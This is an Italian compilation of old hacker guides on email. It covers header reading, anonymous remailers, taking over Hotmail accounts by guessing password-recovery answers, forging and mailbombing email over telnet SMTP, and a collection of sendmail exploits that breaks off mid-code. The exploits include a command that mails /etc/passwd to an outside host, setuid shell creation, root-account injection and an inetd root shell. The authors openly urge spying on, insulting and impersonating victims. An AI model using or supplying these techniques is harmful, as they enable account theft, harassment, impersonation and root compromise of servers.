Ad esempio Visualizziamo gli headers di questa e-Mail:
Received: from posta.abcd.it (111.123.11.32) by provider.it via mtad (2.3)
id mx03-Biqmta0276; Mon, 29 Sep 2000 06:45:07 -0600 (MDT)
Received: from america.com ([123.12.22.39]) by posta.abcd.it
(post.office MTA v1.9.3b ID# 0-12345) with SMTP id AAA187
for <utente@provider.it>; Mon, 29 Sep 2000 14:34:21 +0200
From: <mittente@america.com>
To: <utente@provider.it>
Subject: test...
Analizziamone gli headers:
Il primo Received ,
L'header "Received" ci dice il percorso seguito dall'e-mail da quando è stato generata a quando l'abbiamo ricevuta.
Normalmente ce n'è più di uno e sono disposti in ordine inverso quindi il primo rappresenta l'ultimo computer in cui è arrivata, di solito il nostro o quello del nostro provider e l'ultimo Received rappresenta il computer "mittente".
Infatti, ogni volta che un server riceve una e-Mail, aggiunge un "Received" in cima alle altre intestazioni già presenti.
Analizzando la nostra E-Mail, notiamo che l'ultimo "Received" ci dice che è stato il computer america.com con IP Address 123.12.22.39 a mandare l'e-Mail al server posta.abcd.it usando il servizio SMTP.
Guardando l'header successivo, notiamo che il messaggio è stato mandato a sua volta da posta.abcd.it con IP Address 111.123.11.32 a provider.it, che e` il server destinatario quindi il nostro
Infatti, se guardiamo l'header "To:" si puo notare che il destinatario finale è utente@provider.it.
Il mittente quindi , dovrebbe essere mittente@america.com, per esserne sicuri dobbiamo utilizzare un programma Finger con il quale possiamo sapere se il "mittente" esiste su "america.com",
L'unico modo per sapere se effettivamente Host Name e IP Address coincidono è utilizzare un programma DNS.
Questo metodo non ci permette di scoprire l'autore, ma almeno potremo sapere quale computer è stato usato per inviare e-mail.

GUIDA AL REMAILER

Mantenere la Privacy su Internet e' importante, siccome lo sanno tutti, non mi dilunghero' parlando della sua importanza, ma mi limitero' a descrivere come tutelarsi sulla Rete. In questo file spieghero' come Spedire Lettere TOTALMENTE Anonime. Tutti (credo/spero) conoscono l'esistenza dei 'REMAILER' (particolari mail-server che ricevono la tua lettera e la rispediscono al destinatario che desideri facendo cosi' perdere le TUE tracce), vediamo come si utilizzano.

Dopo avere preparato la lettera

Esempio:

< succhia succhia succhia
< CIAO VECCHIO LAMER,
< COME TE LA PASSI?
< slurpa slurpa slurpa

Mettere sopra della lettera le seguenti 2 righe:

::
Request-Remailing-To: INDIRIZZO

Scrivendo, al posto di 'INDIRIZZO', l'indirizzo di posta elettronica a cui volete mandare il messaggio anonimo.

A questo punto spedite la lettera NON all'indirizzo del Lamer, ma a quello di un Remailer. (Es. remailer@replay.com)

Ecco come si presentera' la vostra lettera:

\\\
To: remailer@replay.com
Subject:
\\\
::
Request-Remailing-To: pinco_pallino@hotmail.com

< succhia succhia succhia
< CIAO VECCHIO LAMER,
< COME TE LA PASSI?
< slurpa slurpa slurpa

Per "rafforzare" l'impossibilita' di essere beccati e' consigliato fare una
"catena" di Remailer, questo e' davvero facile da fare:

\\\\\\\\\\\\\\\\\\\\\\
To: remailer@replay.com
Subject:
\\\\\\\\\\\\\\\\\\\\\\
::
Request-Remailing-To: remailer@anon.efga.org
::
Request-Remailing-To: remailer@replay.com
::
Request-Remailing-To: pinco_pallino@hotmail.com

< succhia succhia succhia
< CIAO VECCHIO LAMER,
< COME TE LA PASSI?
< slurpa slurpa slurpa

In questo modo la lettera RIMBALZA da un remailer all'altro prima di arrivare
al destinatario, in questo modo rintracciare il mittente e' difficilissimo
(vorrei dire impossibile, ma non si sa mai... comunque nel file successivo
"mpc!063.txt" imparerete altri piccoli trucchi per sfruttare al max i remailer)

P.S. Spero di essere stato chiaro e comprensibile

P.P.S. Come potete intuire lo svantaggio di questo sistema e' l'impossibilita'
di essere "Replicati", ma credo che se lo state usando di certo non
volete che il destinatario vi risponda! (quindi, di che vi lamentate?)

P.P.P.S. Esistono tanti indirizzi Remailer, io ve ne ho dato 2:
"remailer@replay.com" e remailer@anon.efga.org
In questo file ho descritto alcune 'opzioni accessorie' di molti Remailer.

Iniziamo con i 'Cutmarks'. Si usano aggiungendo la seguente linea:

Cutmarks: *-*-*-*

(*-*-*-* e' un esempio, ma puo' essere sostituito con qualsiasi carattere)
Il risultato sara' che il destinatario non ricevera' cio' che c'e' scritto
dopo '*-*-*-*'). Lo scopo principale di questa opzione e' di non far pervenire
La firma che spesso molti Mail-server mettono automaticamente in coda alla
lettera (es. MAILEXCITE).

Ecco come si presentera' la nostra lettera prima di essere spedita:

```
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
To: remailer@replay.com
Subject:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
::
Request-Remailing-To: pinco_pallino@hotmail.com
Cutmarks: *-*-*-*

< succhia succhia succhia
< CIAO VECCHIO LAMER,
< COME TE LA PASSI?
< slurpa slurpa slurpa

*-*-*-*
    saluti da
/---------------\
| CRAZY  RABBIT |
\---------------/
```

ed ecco come arrivera' al destinatario:

```
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
From: remailer@replay.com
Subject: (none)
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

< succhia succhia succhia
< CIAO VECCHIO LAMER,
< COME TE LA PASSI?
< slurpa slurpa slurpa
```

Niente male vero? Ora vediamo la mia opzione preferita...
Si chiama "Latent-Time" e permette di far mantere la nostra lettera in giacenza sul server per un tempo determinato in modo da ostacolare ulteriormente la eventuale individuazione del mittente. Vediamo come funziona:
Bisogna semplicemente aggiungere "Latent-Time:" seguito da un "+" ed dal tempo che deve restare sul server (minore di 24 ore) nella linea successiva a quella di "Request-Remailing-To:". Esempio:

```
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
To: remailer@replay.com
Subject:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
::
Request-Remailing-To: pinco_pallino@hotmail.com
```

Latent-Time: +5:30

< succhia succhia succhia
< CIAO VECCHIO LAMER,
< COME TE LA PASSI?
< slurpa slurpa slurpa

In questo caso il server aspettera' 5 ore e 30 minuti prima di rispedire il messaggio al destinatario.

---------HOW TO HACK HOTMAIL-----------------

(l' inizio è semplice :-)

Indice
- introduzione
- perchè hackare un account di posta ?
- perchè hackare hotmail ?
- come fare ?
- esempi
- consigli
- avvertenze e voci di corridoio

INTRODUZIONE

Carissimi animali di rete... ormai è passato tanto tempo (informaticamente parlando) dalle mie prime chattate.. e per molti di voi vale la stesso discorso. Abbiamo cominciato come poveri newbie in un mondo sconosciuto e (a volte) assurdo. Ci siamo trovato quasi subito coinvolti in guerriglie urbane a colpi di nuke e siamo stati "costretti" ad imparare in fretta come difenderci.. come attaccare.. come spoofarci e come fregare le difese degli altri.
E' stato divertente (quasi rimpiango quei giorni) ma il tempo passa.. la gente cambia.. le tecniche diventano obsolete e si cerca sempre qualcosa in piu'. Ci si rivolge a nuove frontiere (.. spazio.. ultima frontiera.. hihi) e ci si trova a giokerellare con trojani vari... a settare infinite configurazioni di linux prima per renderlo stabile.. poi per renderlo (quasi) inattaccabile e poi per tuffarci nella rete senza confini a cui sottostare.. o almeno questa è l'idea generale di partenza.
Quello di cui voglio parlare oggi è un'altro bel giochetto... nulla di troppo impegnativo, sia chiaro.. è solo una stronzatina come tante sulla lunga strada ke stiamo percorrendo... e il bello è che da un certo punto di vista tutto ciò è completamente legaleeeeee!!!!!! :-)

PERCHE' HACKARE UN ACCOUNT DI POSTA ?

Una volta hanno chiesto ad un alpinista perchè si sbattesse per scalare l'Everest... lui semplicemente ha risposto :" Perchè è li !".
Da un certo punto di vista il nostro discorso è lo stesso... in più, come sempre, c'è l'inesauribile sete di conoscienza.. la curiosità.. e quel pizzico di malignità nel controllare qualcuno :-))
Potete riuscire ad avere il controllo di una persona che vi sta MOOOLTO sul cazzo e divertirvi un mondo con ciò ke scoprite..
Potete ottenere qualche web account per "impalare" un sito.. oppure per fottere allegramente tale spazio ed usarlo per vostri scopi...
Potete spedire mails che risulteranno mandate da un'altra persona e causare dei bei casini...

Già... non c'è assoulutamente di nobile in tutto questo... NON E' FANTASTICO ?!? ahahah

PERCHE' HACKARE HOTMAIL ?

Tre sono le motivazioni essenziali:
1 - Hotmail è attualmente uno dei più diffusi sulla rete.
2 - E' il più semplice su cui effettuare la procedura che spiegherò poi. (FUNZIONA ANKE ALTROVE)
3- Hotmail è di mamma Microsft.. e personalmente questo basta e avanza ahahahah

COME FARE ?

Questa è la parte più interessante, ma presenta un vantaggio e uno svantaggio.
Lo svantaggio è che non è un metodo scientifico.. nun funziona sempre anche se da risultati positivi in un rapporto di 4/10 (e considerato COME faremo è un buon risultato)
Il vantaggio... la cosa bella di questo metodo è che non dovremo realmente hackare nulla. Non dovremo sfondare il server per fregarli le password e se per alcuni può essere considerata una bestemmia (allora il bello dov'e' ?!?!) per altri meno esperti è un modo sicuro per ottenere qualcosa senza rischiare il culetto.

Ma procediamo con ordine:
Il principio su cui su basa questo "hacking" è che la mamma degli imbecilli è sempre incinta!!!
Già...spesso saranno gli stessi proprietari dell'account a fornirvi la password, ma non temete.. non si dovranno mandare decine di e-mail facendo social engineering.
La faccenda è molto più semplice. Hotmail, come tanti altri server di posta sul web, offre una funzione per permette (a chi apre un account nuovo) di

inserire una domanda di riserva la cui risposta è accettata per modificare
la password di accesso nel caso la si sia dimenticata.
Geniale vero ? Tanto studipo quanto geniale... e probabilmente avete una
stima troppo alta della razza umana se credete che tutti gli utenti
sfruttino questo servizio nel modo giusto!!!

Vediamo in pratica come fare:

1- Procuratevi qualche e-mail (ovviamente di hotmail). Se non conoscete
nessuno con un account hm o cmq nessuno di veramente cretino fate una
semplice ricerca da altavista.

potete cercare
@hotmail -> fornirà una lista immensa ma spesso saranno home pages
personali
guestbook +@hotmail -> qui ci sarà già da divertirsi
annunci personali +@hotmail -> e questa è la terra promessa!!!!!!

trascrivete su carta un bel po' di e-mail e procediamo. (una volta concluso
il punto 1 il grosso del lavoro è fatto)

2- Andate all'home page di hotmail (www.hotmail.com) e cliccate sulla
scritta gialla " Forgot Your Password ? "
Si aprirà un'altra finestra in cui dovrete inserire l'user (è la parte
precedente a @hotmail).. inserite il primo della lista che vi siete fatti,
battete invio (o cliccate sul pulsante) e attendete.

3- Se compare solo questo messaggio :

If you have alternate email access, send a BLANK email message to
forgotpass@hotmail.com and we will reply with further instructions

vuol dire che l'utente non ha optato per non usare la domanda di riserva
quindi passiamo oltre e proviamo con un'altro (aspirante) pollo.

4- Se invece compare questo messaggio:

ANSWER YOUR HINT

seguito (sotto) da Question: e sotto ancora da Answer: (con relativo campo
di immissione testo) siamo a cavallo! Forse ci siamo
Dando un'okkiata alla domanda ke vi viene posta possono verificarsi diversi
casi

* la domanda è molto personale quindi a meno di un enorme colpo di culo non
potete indovinarla

* nella domanda compare la parola NOTSET.. un'altro buco nell'acqua

* la domanda è una presa per il culo per chi tenta di hackarla... è una cosa molto divertente
ke mi è capitata qualke volta. La domanda era del tipo : PENSI CHE SIA IDIOTA ? oppure
HAI PENSATO DI HACKARE TUA SORELLA ? cmq sia ancora nulla di fatto!

* invece della domanda trovate un codice numerico, alfabetico o alfanumerico : BINGO!
avete appena trovato un cretino!! Già.. quella è la password

* la domanda non è difficilissima e potreste indovinarla e cambiare la password (parlerò poi
più a lungo di questo aspetto)

5- Una volta ottenuta la password.... beh.. fate un po' voi eheh

ESEMPI

Oltre ai casi in cui la password compare in tutto il suo splendore come una visione di fatima ce ne sono altri in cui ci si arriva con un po' di testa oppure con un po' di culo.
Ecco alcuni casi che mi sono capitati

Question: Twelth April Thirteen Forty Eight

Rgionamento: 12 aprile 1348.... data storica ? nascita di qualcuno ? Avvenimento ?

Soluzione: molto piu' semplice di quanto pensassi... basta ricordare che le date in inglese vanno scritte col mese prima del giorno   :   04121348

Question: La più bella città del mondo

Ragionamento: Parigi ? Londra ? quante ce ne sono ?!?!?

Soluzione: abbiamo sempre la tendenza ad essere esterofili... questa domanda nel resto del mondo occindentale (e un po' ovunque) ha una sola risposta : venezia
----
Question: La mia birra preferita

Ragionamento: beh.. sono tante.. heinecken... becks... guinness.. sono

quelle ke vanno di più

Soluzione: beh... io preferisco senza dubbio la: ceres
gran botta di culo questa.. lo ammetto.. anche se si poteva trovare
facilmente in 10 minuti per tentativi

----

ce ne sarebbero tanti da raccontare.. ma non vedo perche' togliervi il
divertimento :-)
in fondo è un po' come fare i cruciverba.. allena la mente!

CONSIGLI

Ora avete la "vostra" scorta di e-mail... cosa fare ?
bah.. questo dipende da voi.. dalla vostra fantasia e dalla vostra voglia...
permettetemi però un paio di consigli:

Non cambiate mai la password di un account, o cmq fatelo solo in casi
estremi. Se tagliate fuori il prorietario dell'account il gioco finisce
presto.

Troverete forse informazioni riservate o compromettenti (io ho beccato un
avvocato gay con foto e mail piuttosto spinte).. non fate stronzate perchè
un conto è giocare a spiare qua e la.. un'altro è rischiare di mandare
seriamente nella merda una persona!

Ho letto di un'altro metodo per avere password di hotmail: si doveva
scrivere ad un certo indirizzo specificando l'user della mail da hackare e
la PROPRIA password.. non siate così cretini per favore!

AVVERTENZE E VOCI DI CORRIDOIO

Voci di corridio raccontano che hotmail sia sia svegliata e stia cercando di
proteggere la riservatezza dei propri utenti tramite dei coockies. Di per
certo non so dirvi nulla ora come ora. Il mio pc cancella i biskottini (di
merda) ad ogni riavvio e non ho avuto modo di controllare approfonditamente.
Francamente non so nemmeno ke genere di garanzia diano i coockies... ad ogni
modo:
IN CAMPANA !!!!

Come spedire delle FakeMail

+- +

Autore : SpiDeR2K

e-mail : spider2k@freemail.it
SIto Web : http://go.to/tankcommandos ; quello personale al più presto.
Cibi assunti : nessuno
Musica ascoltata : di tutto di più (non la rai !) : Mtv
Font Usato : Lucida Sans Unicode (9)

Prima di cominciare....

@-@-@-@-@-@-@-@   D I S C L A I M E R @-@-@-@-@-@-@-@

QUESTO TESTO E' DA CONSIDERARSI SOLTANTO A SCOPO
INFORMATIVO ED EDUCATIVO, PERTANTO L'AUTORE , SpiDeR2K,
NON SI ASSUME NESSUNA RESPONSABILITA' SULLE STRONZATE
CHE IL LETTORE PUO' COMMETTERE DOPO AVER LETTO QUESTE
INFORMAZIONI.

@-@-@-@-@-@-@-@-@-@-@-@-@ -@-@-@-@ -@-@-@-@-@-@

Bene Bene, oggi parleremo di come spedire una fakemail. Prima di cominciare,
volevo precisare che per questo articolo ho preso spunto dall' enciclopedia
dell' hacking del miticissimo Lord Shiva , che rimane una delle migliori guide
all'hacking italiane , esistenti nella rete. Cominciamo subito col dire , che fakemail
significa letteralmente "falsa e-mail". Supponiamo
per un momento di voler spedire un e-mail a qualcuno senza rivelare
la nostra identità (i motivi sono cazzi vostri :-)). ebbene per scopi del genere
possiamo utilizzare le fakemail.
Esistono due modi : il primo (un pò da lamah) consiste nel cercare un sito che offra al
visitatore questo servizio. Ma visto che a noi interessa il percorso
logico e pratico che bisogna fare per spedire una fakemail , utilizzeremo il secondo metodo ,
ovvero quello manuale. Ne approfitterò inoltre per introdurre Telnet e l' SMTP .
Per spedire una fakemail , utilizzeremo uno dei pochi programmi
utili messi a disposizione in Windows : Telnet.
Questo , ci permette di stabilire MANUALMENTE una connessione
ad un server permettendoci di interagire direttamente con il sistema remoto . Si trova
nella directory Windows del vostro hard disk. Una prima schermata , ci chiede di inserire
un host name (il nome del computer o il corrispondente IP address) e una porta.
In breve, diciamo che una porta (non quella della vostra stanza !!) non è altro che un
numero statico a cui è associato un servizio che viene gestito dal server. Se non avete
idea di cosa stia parlando vi rimando ad uno dei tanti testi riguardanti le porte , presenti
in rete. Chi cerca trova !! l'unico problema è quella cazzo di bolletta !!!:-)
Poco fà ho accennato al SMTP. Allora , la sigla SMTP sta per Simple Mail Transfer Protocol,
ovvero protocollo di trasferimento dei messaggi. Questo servizio è disponibile nella maggior
parte dei server ; dico "nella maggior parte" perchè qualche volta può capitare che non sia attivo.
Il servizio corrisponde alla porta 25 ed è amministrato dal suo demone. AIUTOOO CHE
PAURAAAA !!
Non si tratta di di un film horror, un demone non è altro che un programma che "vigila" sul servizio e che
accoglie un' utente. Il più solito è il Sendmail (il più buggato in assoluto).Tornando al discorso
dellle fakemail. Una volta che ci saremo collegati alla porta 25, ci si presenterà davanti una cosa del
genere :

220 prova.it Sendmail x.x/x.x 11/11/97 ready at Mon, 30 Oct 97 06:22:19 -0200

Non vi spiego cosa significhi perchè per ora non ci interessa. Basta dire , che il demone si presenta a noi e aspetta di conseguenza una nostra risposta.
Bene, quando noi salutiamo una persona (voi dite che c'èntra ? aspe..) gli diciamo " Ciao" , allo stesso modo quando dobbiamo identificarci al server ,scriveremo cosi :

HELO provider.it

al posto di provider.it , ci starà il vostro provider di servizi internet , o uno a casaccio ,fate voi io consiglio la seconda possibilità.. !
State attenti perchè Telnet non permette di cancellare quindi andateci piano e non scrivete cazzate!

Il server quindi ricambiera il nostro "saluto " cosi :

250 prova.it Hello Provider.it

o qualcosa del genere...
Adesso possiamo metterci a lavoro. hihi ...!

Utilizziamo il comando "MAIL FROM:" a cui associeremo anche l 'indirizzo e-mail del mittente.
Ovvero l'indirizzo che il destinatario vedrà nell'e-mail ricevuta.
NON VORRETE METTERCI QUELLO VOSTRO ??!!?

MAIL FROM: <coglione@lamer.com>

Se avete scritto tutto bene , avrete un responso positivo dal server che vi risponderà con una stringa che inizia con il numero 250.
Ora ci tocchera specificare l'indirizzo e-mail del destinatario. Questo lo possiamo fare con il comando RCPT TO:

RCPT TO: <stronzoditurno@provider.it>

Riceveremo un'altra risposta dal server.

Adesso passiamo al corpo del messaggio dove scriveremo tutti gli insulti e le stronzate che leggera il destinatario. Comunichiamo al server che stiamo per iniziare a scrivere il messaggio con il comando DATA. Quindi :

DATA

Il server, vi dirà che è pronto a "prendere appunti" e che dovrete conlcudere il testo con un punto su una riga vuota. Adesso per evitare di farci beccare da qualcuno che ne capisce un pò piu di voi, facciamo cosi:

Received: by provider.it id AA11212 with SMTP; Sun, 04 Jun 00 16:40:25

Analizziamo questa stringa :

provider.it = nome del provider con cui vi siete identificati all'inizio

id AA11212 = se non ricordo male , dovrebbe essere il numero seriale del server; schiaffateci un numero a cazzo !
with SMTP; = Cazzate Varie...
Sun,04 Jun 00 16:40:25 = data in formato normale.

Ora digitiamo :

Message-ID: <123.AA11345@lamer.com>

Al posto di 123.AA11345 , anche qui scriveremo un numero inventato. Purchè le prime 3 cifre siano divise
da tutte le altre da un punto e che il numero intero non sia uguale a quello messo precedentemente
Queste due operazioni servono a rendere le cose un pò piu difficili a coloro che
vogliono rintracciarci.

Seguiranno quindi , il destinatario , la data e l'oggetto del messaggio. Digitiamo

To: <stronzoditurno@provider.it>
Date: Sun, 04 Jun 00 12:30:45
Subject: quello che volete.

Ora che abbiamo concluso la prassi , chiudiamo il tutto con un punto in una riga vuota. Infine diciamo
al server di inviare l' e-mail con QUIT.
Se tutto è andato bene , la mail verrà recapitata e quando il coglione la aprira si vedrà davanti ,
un componimento poetico di parolacce e stronzate che offendono lui e la sua
famiglia !eheheh! Quest'ultimo incazzato come un cane bastonato , risponderà di conseguenza ... ma A CHI ??!!??
Non a noi di certo, ma a colui che avremo indicato come mittente del messaggio.
Ehehe , divertente vero ??.
Prima di fare una cosa del genere , vi consiglio di fare svariate prove auto-mandandovi dei messaggi. In ogni
caso state attenti , perchè vi possono anche beccare.
Bene, e se voi invece vorreste proprio "distruggere" la mailbox di qualcuno ?!? niente di piu facile...
Ripetete la procedura precedente fino alla stringa :

RCPT TO: <stronzoditurno@provider.it>

A questo punto dovremo allegare all'e-mail un file (possibilmente di dimensioni enormi). Prima di fare questo
daremo al server il comando :

BINARY

Questo, il cui significato è "binario" (cacchio non ci vuole un genio per capirlo :-)), non fà altro che spezzettare il file che
noi allegheremo, in tantissimi messaggi; ovviamente piu grosso è il file piu bordello creeremo hihi !
A questo punto scriviamo :

GET /directorydelsito/filedelsito.zip

Dove "/directorydelsito" è l'indirizzo http e la cartella dove è contenuto il file; mentre "/filedelsito.zip" è il nome del file.
In questo modo il server preleva il file da quel sito e lo allega alla nostra e-mail.
Se nel corpo della procedura , ripetiamo piu volte questo comando , avremo una fakemail dagli effetti devastanti. Pensate
cosa potrebbe fare un file di 50 Mb , ripetuto per 10 volte; lascio il tutto alla vostra immaginazione...eheheh !
Dopo di che continuate con la procedura normale.. (DATA..,ecc).
Risultato... il coglione non potrà piu accedere al suo account di posta elettronica e noi brinderemo alla sua rabbia. ehehehe!

Perfetto !! , dopo essermi fatto (come canta Pelù) un bagno di sudore con la temperatura che sarà sopra i 30 °, e dato
che mi sono rotto i maroni di scrivere, non mi resta che salutarvi.

Questo file e' stato scritto da Vecna, e contiene una buona raccolta di
Exploit per sendmail, il fatto che sia una "buona raccolta" non implica che
siano tutti, anke xke' sendmail e' conosciuto come il programma + bacato in
tutti i secoli dei secoli amen.

Non venite a dirmi: quello che hai scritto e' copiato, perchè lo so', in
fin dei conti l'unico motivo che mi ha spinto a fare sta' cosa era avere
PER ME un elenco abbastanza completo di hack vs. sendmail.

Si intende che SOLO PER SCOPO INFORMATIVO FACCIO QUESTA RACCOLTA,
FINALIZZATA SOLO A METTERE IN GUARDIA I PROPRIETARI DI SISTEMI UNIX &
UNIX-like E A FARGLI AGGIORNARE LA SENDMAIL !

Un saluto a: Lord Destruction, DaBatcha, Cyrus, TiZiO, Ghimlet, Marlenek.
La domanda del giorno : Cosa aspetta Skilled a rispondermi ?

P.S. - il materiale qui di seguito e' tratto dalle seguenti fonti:
Rootshell - Packet Storm of Security - Bugtraq - la mia mente
dannata.

le versioni sono in ordine casuale e + disparato et caotico possibile, i bug
delle versioni inferiori alla 8 li ho segati repentinamente. (tranne il BUG
1 xke' mi piaceva)

```
[root@localhost] |% telnet target.com 25
Trying 123.4.5.XxX ...
Connected to target.com.
Escape character is '^]'.
220 target.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
-0500
HELO
250 Hello target.com, why do you call yourself ?
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
RCPT TO: root
250 root... Recipient ok
DATA
354 Enter mail, end with @.@ on a line by itself
From: me@target.com
  To: me@target.com
  Return-Receipt-To: |foobar
  Subject: grand brutto buco.
  X-Disclaimer: nessuna responsabiltà su di me!
```

Queste sono 2 implementazioni, una da un bug report, l'altra da una mia fantazia... sono state provate su sendmail 5.55 ma il funzionamento e' pressoche' lo stesso.

il bug, si è visto come consente di eseguire file eseguibili, con selative opzioni o caratteri speciali. nel 1° esempio ci si impadronisce del file /etc/passwd spedendoselo all'indirizzo me@myhost.com

```
% telnet target.com 25
Trying 123.456.789.0...
Connected to target.com
Escape character is '^]'.
220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51
mail from: "|/bin/mail me@myhost.com < /etc/passwd"
250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok
rcpt to: mickeymouse
550 mickeymouse... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
% "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
%
```

Che si possano anche ricevere altri file mi sembra scontato, ma non escludo che facendo:

```
220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51
mail from: "|/bin/adduser user -u0 -g0"
250 "|/bin/adduser user -u0 -g0"... Sender ok
rcpt to: mickeymouse
ecc...
```

Si possa eseguire il comando adduser.

Siccome simao tutti buoni, segnaliamo al sysadmin sfigato il colino che usa per spedire la posta...

```
 #!/bin/sh
 echo This is a Serious Bug > /tmp/bug
 echo id reports: >> /tmp/bug
 /usr/bin/id >> /tmp/bug
```

```
  echo Fixing this would be good >> /tmp/bug
  cp /bin/sh /tmp/bugshell
  chmod u+s /tmp/bugshell
  echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
  chmod ugo+rx /tmp/bugshell
.
250 Ok
quit
221 target.com closing connection
```

Versione affetta: 8.6.7 (tho, una gia' + recente! :)

questo buco consente di leggere ogni file, compreso indi il beneamato file
di shadow o quelli nella dir /root /var ecc... . Usata dalla shell.

```
/usr/lib/sendmail -oE/etc/shadow bounce
From: your_username
```

Sendmail: 8.6.9, questa versione di sendmail consentiva di far crashare la
25 grazie alla riga di comando :
$ sendmail -d98765876 (almeno 10 cifre)
Il bug è stato coperto, ma con un particolare file di Atreus si poteva
utilizzarlo ancora.

```
/* smh.c - Michael R. Widner - atreus (2/27/95)
* <widner@uchicago.edu> <atreus@primus.com>
* a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
* hole.  It's really just a matter of passing newlines in arguments to
* sendmail and getting the stuff into the queue files.  If we run this
* locally with -odq we are guaranteed that it will be queue, rather than
* processed immediately.  Wait for the queue to get processed automatically
* or just run sendmail -q if you're impatient.

* usage: smh [ username [/path/to/sendmail]]

* It's worth noting that this is generally only good for getting bin.
* sendmail still wants to process the sendmail.cf file, which contains
* Ou1 and Og1 most of the time, limiting you to bin access.  Is there
* a way around this?

* cc -o smh smh.c should do the trick.  This just creates a bin owned
* mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
* systems this is pretty much worthless, but you're smart enough to know
* which systems those are.  Aren't you?
```

```
*/

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

main(argc, argv)
int argc;
char **argv;
{
        execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
        "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,
P=/bin/sh, F=lsDFMeu,
A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777
/tmp/newsh\">\n$rascii ",
        argv[1] ? argv[1] : "atreus",0);
}
```

Versione: 8.6.?

vuoi leggere un file a cui normalmente non hai accesso ?

/usr/lib/sendmail -C/home/path/of/file

Sendmail 8.8.4 & 8.8.5 dead.letter exploit

esempio di come collegare il file /etc/passwd a /var/tmp/dead.letter
Telnettarsi alla 25, mandare un messaggio a un host volutamente sbagliato.
Si deve fare anche da una shell dell'host da hackare. (x' senno come si linkano i 32 file ?)

```
ln /etc/passwd /var/tmp/dead.letter
telnet target.host 25
mail from: non@existent.host
rcpt to: non@existent.host
data
r00t::0:0:Admin a morte!:/root:/bin/bash
.
quit
```

track! hai un bella account di root.
fare attenzione alle versioni di login e al criptaggio (DES o MD5) xke' in sistemi tipo RH, il campo della password, se la password non e' nulla, e' "!!"

l'exploit non và nei seguenti casi:

1. /var e / sono in partizioni differenti, quindi tra loro non possono essere linkati.
2. essere sicuro che i messaggi errati finiscano in /var/tmp/dead.letter

----
Le versioni 8.6.9-8.6.10 possono essere affette (oltre al crash proposto da atherus) da questo bug, che consente l'eseguzione di comandi a cui normalmente non si avrebbe accesso.

```
/* Sendmail 8.6.9 identd hack.  -- SnoCrash [r00t] */
/* 9/29/95 -- Fixed to make it compile on fuxin' SunOS */
/* Fixed some more so it can work on 8.6.10 -- 10/2/95 */
/* Final cleanup -- 10/4/95.                          */
#include <stdio.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <gnu/types.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define OUTPUT_BUFFER 4096   /* Output and input, */
#define SOCKET_BUFFER 512    /* with which we must up-put */
void main(void)
{
        struct fd_set fdesc;   /* File descriptor structure */
        char outbuf[OUTPUT_BUFFER];  /* Our output buffer */
        char inbuf[SOCKET_BUFFER];   /* ""  input "" */
        /* Preparing to read incoming data, captain. */
        FD_ZERO(&fdesc);
        FD_SET(0, &fdesc);

        /* Read it, Sulu! Now! */
        if(read(0, inbuf, SOCKET_BUFFER - 1)<=0)
                exit(1);
        FD_SET(0, &fdesc);

        /* Now we send our instructions, under the guise of innocent
         * ol' identd.  I find this ironic, that identd, supposedly
         * a standard that would help stop "evil hacker types", became
         * part of one of the bigger holes to ever hit the net.  Hmm.
         * Ain't life funny that way sometimes? :)
         */
        sprintf(outbuf, " \
%s : USERID : UNIX : Evil_Hacker_Type...Phear_Me.  So, like.. here are \
my evil commands for you to execute so I can rox yer box.  Check this out...
\
```

```
\r\nCroot\r\nR<\"|/bin/echo ingreslock stream tcp nowait root /bin/sh
/bin/sh > \
/tmp/.inetd.conf ; /usr/sbin/inetd /tmp/.inetd.conf \">\r\nHReceived: Pretty
\
fucking eleet, eh?  Now I just have to sit here and babble so I can fill \
up your crappy buffer.  So I bet youre wondering how this got here.  Well \
lets just say you shouldnt run a Sendmail earlier or later than 8.6.11. \
8.6.12 has a whole load of different bugs, but this isnt one of them. \
Im not so sure about 8.7.x, but I wouldnt trust Eric Allman too much. \
weellll... it's been fun fucking with your box and all, but I really must \
be going, so I guess Ill see you around.  Tell all your friends to be nice \
and leave the door open like you did.  Thanks... its been real.
\unkyfunkyfunkyfunkyfunkyfunkyfunkyfunkyfunkyfunkyfunky....aaah this is just
too
funky.\r\n \
", inbuf);

        write(1, outbuf, strlen(outbuf));
        exit(0);
}
```

Vi sarete accorti quanto sono vecchi alcuni exploit, vi assicuro che se ne
trovano ancora parecchi di server cosi' ridotti!
cmq tra poco vi troverete una sfilza di bug della 8.8.* in poi.

Sendmail versione 8.7.5 - Buffer Overflow - (OLE ! :)
scoperto da mudge@l0pht.com "mudge"

```
# The problem is in buildfnam() which lives in util.c - it treats
# the static allocated array nbuf[MAXSIZE+1], from recipient.c, in
# an unbounded fashion.

CC=/usr/bin/gcc
RM=/bin/rm

cat > a_run.c << EOF
main(int argc, char *argv[])
{
  long addr=0xefbfcea8;
  char *ptr = (char *)&addr;
  char foo[5];
  int i, j;

  if (argc != 2){
    printf("Usage: %s offset\n", argv[0]);
```

```
    exit(1);
  }

  addr += atoi(argv[1]);

